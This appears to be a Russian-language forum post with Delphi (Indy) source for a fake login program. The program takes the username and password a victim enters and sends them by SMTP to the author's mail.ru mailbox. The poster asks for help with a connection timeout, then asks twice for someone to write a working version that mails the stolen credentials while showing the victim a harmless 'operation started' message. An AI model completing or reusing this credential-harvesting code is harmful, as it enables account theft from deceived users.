idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='login'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(60000); //Конектимся с таймаутом 60 сек
idSmtp1.username:='login'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся
Вообщем через некоторое время при нажатии кнопки выдает:
Project xxxx raised exception class EidSocketError with message 'Socket Error # 10060 Connection Timed Out'.
Короче не знаю что делать. Помогите пожалуйста! Или скажите как сделать проще.
Process stopped. Use Step or Run to continue.
Не хочу позориться
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.
Не хочу позориться
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.